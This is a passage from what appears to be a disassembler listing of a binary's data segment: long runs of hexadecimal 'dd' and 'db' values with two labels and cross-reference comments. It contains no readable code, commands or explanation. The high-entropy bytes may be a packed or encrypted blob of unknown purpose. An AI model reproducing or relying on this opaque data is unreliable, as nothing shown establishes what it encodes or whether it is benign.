28EB2280h, 0E1F7F8C6h dd 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch, 0DC20006Eh dd 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h dd 78803974h, 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh dd 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh, 553A16h dd 0FAED75F5h, 615097E0h dd 0C30045Ch, 5A0689D8h, 2890005Fh, 0B56D7E9h, 42B85BC5h dd 0DE1C5525h, 0BD340310h, 0B4EAB309h, 0F87877C1h, 0EC00FCF9h dd 0C2B2FFCEh, 0B8901548h, 69F70059h, 1680827h, 2F000BD4h dd 41EDCE80h, 152420h, 74664C94h, 1FFD389h, 840F3A00h dd 113FA9F4h, 0BFDE0096h, 0CA02A0CCh, 30005308h, 0A30D1C64h dd 9105CA5h, 0F34E8218h, 7DBA5080h, 2409D965h, 8B14285Eh dd 126D00CFh, 3A551D89h, 0E0835AEDh, 0E9A878F5h, 6952A4F0h dd 85C79900h, 77E80810h, 0F2C403AEh, 0F42133DEh, 527D23D0h dd 0E2399902h, 405A353Ch, 91A92C9h, 366E194Fh, 16C0D08Fh dd 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h dd 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh dd 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h, 84341F1Ch dd 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h, 0F7031B31h dd 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h, 0F53F97B4h dd 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch, 0DF7C514Ch dd 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h dd 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h dd 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh, 81F2DD18h dd 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh dd 5539D9h, 0A4CFAAACh, 0B6AB362Ah, 4ED25005h, 7BC04B56h dd 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h dd 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h dd 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh dd 54150027h, 0C7642994h, 5B0033A7h, 1E759546h, 15A9Bh dd 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh, 0FA5E004Ah dd 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h dd 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh, 0F96AB121h dd 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h, 0C001FEC8h dd 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h dd 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h dd 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h, 157A25h dd 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h dd 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh, 44CFCCh dd 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h dd 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h, 37120143h dd 3570A985h, 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h dd 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h dd 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h, 0A6F0997h dd 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h, 6EC81D33h dd 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h, 63C27A12h dd 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh dd 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh dd 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh dd 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh, 94FBA538h dd 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h dd 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch dd 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah dd 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h, 0DC199C00h dd 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h dd 33705700h, 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h dd 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h, 4200D621h dd 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h, 88595D16h dd 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h dd 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh dd 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh dd 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h dd 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h dd 58001A10h, 32C78E66h, 0B92B16h, 68444260h, 73CA11ACh dd 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah dd 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h, 41003BEBh dd 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h, 6C243B33h dd 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h, 378040A3h dd 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh, 0D9981B7Fh dd 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h dd 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h dd 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh dd 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h dd 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h dd 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh, 4E1660h dd 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh dd 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah dd 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h dd 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h dd 972D00E1h, 70895130h, 94900853h, 5C81B800h, 0EA18212Bh dd 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h, 9685502h dd 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh, 0E91EF8C0h dd 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h, 0B82386D6h dd 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h dd 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh, 0B77DAFF4h dd 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h dd 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh, 80B81E20h dd 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h, 0AEB617B4h dd 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh, 0F1B28C91h dd 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h, 3B9607AEh dd 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah dd 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h dd 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h dd 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h, 0BA3B009h dd 6167DD1h, 404B5A07h, 0C9250C15h, 3910171Eh, 0B56CE140h dd 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h dd 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh, 1B29DB1Ch dd 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch dd 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh dd 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h, 0A1003805h dd 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh, 0A8B20100h dd 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h, 54886D45h dd 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh dd 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h, 0E78253E3h dd 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh, 0ACB3C7CBh dd 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h dd 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h dd 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh dd 900480B6h, 5AC02D89h dd 98ECCEF6h, 586179F5h, 2008DBDh, 898F0C6Dh, 0FC002938h dd 4F63CE5Eh, 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh dd 0CCEAD723h, 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h dd 87170501h, 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh dd 3F7794h, 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h dd 0D4C40BC8h, 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh dd 0A50014D1h, 0C8D8D707h, 6457EAh, 1328F7E4h, 8FCA2443h dd 763D2673h, 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h dd 0DEFC5B9Ah, 250066F0h, 1904532Dh, 451586h, 96BAB30Eh dd 4F52A985h, 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch, 17883CE5h dd 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h, 8DC71087h dd 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch, 0CF584A1Ah dd 52F080A7h, 0C6F87Bh, 0D1940584h, 4A0F7D44h, 0A30FDBB8h dd 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h, 0D1CE3C5h dd 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h, 12E0ABBDh dd 930C74Ch, 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh dd 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh, 0B24248h dd 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h dd 0A012DA55h, 8301A6A5h, 9CFF305Ch, 3C1B7BCCh, 7FC1486h dd 1CF83101h, 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h dd 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h dd 1657824h, 0F85AD836h, 0E43C5EC7h, 0E00B414h, 95FFE843h dd 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh dd 11801CA3h, 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah dd 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah dd 0F513E5h, 1930F2E8h, 488A3C53h, 6A0012FAh, 0AE16D41Ch dd 0D641F8h, 172DF2BCh, 0F7143A03h, 6F88C401h, 10086977h dd 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h dd 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h dd 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h, 6B007F71h dd 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h, 958F90B9h dd 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h dd 523C76B9h, 0DBC0E00h, 510203C4h, 0C23B3E0Ah, 7BD31080h dd 40143B0h, 0EB349A1Eh, 0F8E76783h, 14B3CF60h, 8305F898h dd 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h dd 13A2A39Eh, 0B1DC96h, 98957FD2h, 0C80238D4h, 30B4D26Ch dd 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h db 85h byte_504341 db 9Dh, 0F4h, 1 ; DATA XREF: seg001:off_43AD54o dd 0EB0BE4EAh, 0D0A1154Eh db 3Bh, 0DAh, 0 byte_50434F db 0F6h ; DATA XREF: seg001:off_43AD50o dd 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h dd 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h dd 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh, 89F8210Dh dd 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch dd 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch dd 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h, 0F2A5299Fh dd 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h dd 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h, 911F6850h dd 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h dd 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h, 15A5B340h dd 10240009h, 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh dd 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h, 0E5197515h dd 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch, 0EC3C2207h dd 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h, 30500600h dd 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah, 80A41840h dd 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h, 34502CBEh dd 5864BBh, 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h dd 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h, 55437850h dd 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh dd 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h dd 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h dd 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h dd 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h dd 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h dd 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h, 24E57593h dd 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h, 3F529B00h dd 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h, 0EA73AE00h dd 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh dd 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh dd 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h, 3BC51E0Ch dd 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h, 4930900Ah dd 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h, 453020C8h dd 28663B40h, 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh dd 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h, 0C0DE2090h dd 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h dd 88000C49h, 35941D55h, 89B0047h, 66929EA4h, 2116739Dh dd 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h dd 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah dd 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h dd 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh dd 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h dd 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h, 0A09F13C3h dd 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch dd 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h, 5EA5008Ah dd 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h dd 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h dd 8AD5B080h, 24B70037h, 49E65906h, 630061BFh, 0AE121D58h dd 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh dd 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh dd 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h, 21718A23h dd 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h dd 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch, 0A8DBC816h dd 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h, 0DA534540h dd 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h, 744C8EEh dd 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h dd 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h dd 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h dd 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h dd 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h, 0E0221E75h dd 7542320h, 8A53C379h, 70818027h, 9300B57Ah, 9A61F265h dd 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh dd 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h dd 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h dd 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h dd 158D13h, 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh dd 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h dd 7A706014h, 0C0A00380h, 910129E0h, 44022290h, 89040300h dd 18251505h, 310E214h, 84820636h, 0A9309E2h, 0CB30BA3h dd 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh dd 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh, 188A00B8h dd 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh dd 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h dd 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h dd 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah dd 7FC0AD1Fh, 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h dd 29000525h, 2402D6F8h, 0C82D66h, 505553B4h, 22579856h dd 0F00FB901h, 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h dd 3E00E92Fh, 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h dd 4CFC831Ch, 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h dd 0F7282474h, 7440698h, 62336815h, 0C71CD0FFh, 17CC849h dd 890080ECh, 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h dd 13DE8100h, 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh dd 33C5D00h, 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h dd 3E3DAh dd 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h, 0E8001FD1h dd 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h, 13900085h dd 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh dd 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h, 0E3AD2C03h dd 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h dd 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch, 0E8AACA81h dd 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h dd 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh dd 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h, 8DED7213h dd 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h dd 2C35943h, 6D316C62h, 8840098Dh, 15017310h, 5203EDF3h dd 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h, 28007560h dd 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h, 48C07DE0h dd 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h dd 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h dd 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h dd 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh dd 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h, 640083C6h dd 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h dd 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h dd 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h dd 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh dd 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h dd 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h dd 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h dd 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h, 21BF145Eh dd 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h dd 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h dd 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h dd 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh dd 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h, 868A2411h dd 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h dd 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h dd 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh, 314A2789h dd 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h dd 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh dd 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h, 0A86C9A14h dd 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h dd 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh dd 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h dd 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h dd 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h, 8A3C40D1h dd 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h dd 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h dd 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h, 0AB00E428h dd 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h, 441007C4h dd 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh, 0D190C3h dd 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h dd 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh dd 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h, 5FD73B11h dd 7C543700h, 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h dd 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h dd 743D6224h, 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh dd 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h dd 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h dd 83F2B900h, 2743EC7h, 822F0087h, 2757E181h, 0D900C958h dd 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh, 0BA965307h dd 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h, 0BA754F81h dd 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h, 0F2530094h dd 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h, 387225Ah dd 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h dd 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh dd 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h dd 800203h, 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h dd 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h, 17A95AAh dd 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h dd 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh dd 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h dd 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h dd 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h dd 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h dd 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h, 6F936400h dd 6D37803h, 20050055h, 2608A11Bh, 44006209h, 9811B34Ch dd 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h dd 0AC2EDC8Ah, 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h dd 7AD95F7h, 804893D8h, 875C05Dh, 141FCCD3h, 6C02CA3h dd 18F7C62Dh, 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h dd 79E3184h, 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h dd 9D607700h, 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h dd 20309FAEh, 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h dd 734B7705h, 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h dd 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h dd 4E433C69h, 33F80154h, 7542252Eh, 344E7095h, 8057900h dd 2306A32h, 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh dd 0F2C1997Fh, 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h dd 48E71CBBh, 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh dd 0CAFF50D3h, 0DF7126h, 33CD9214h, 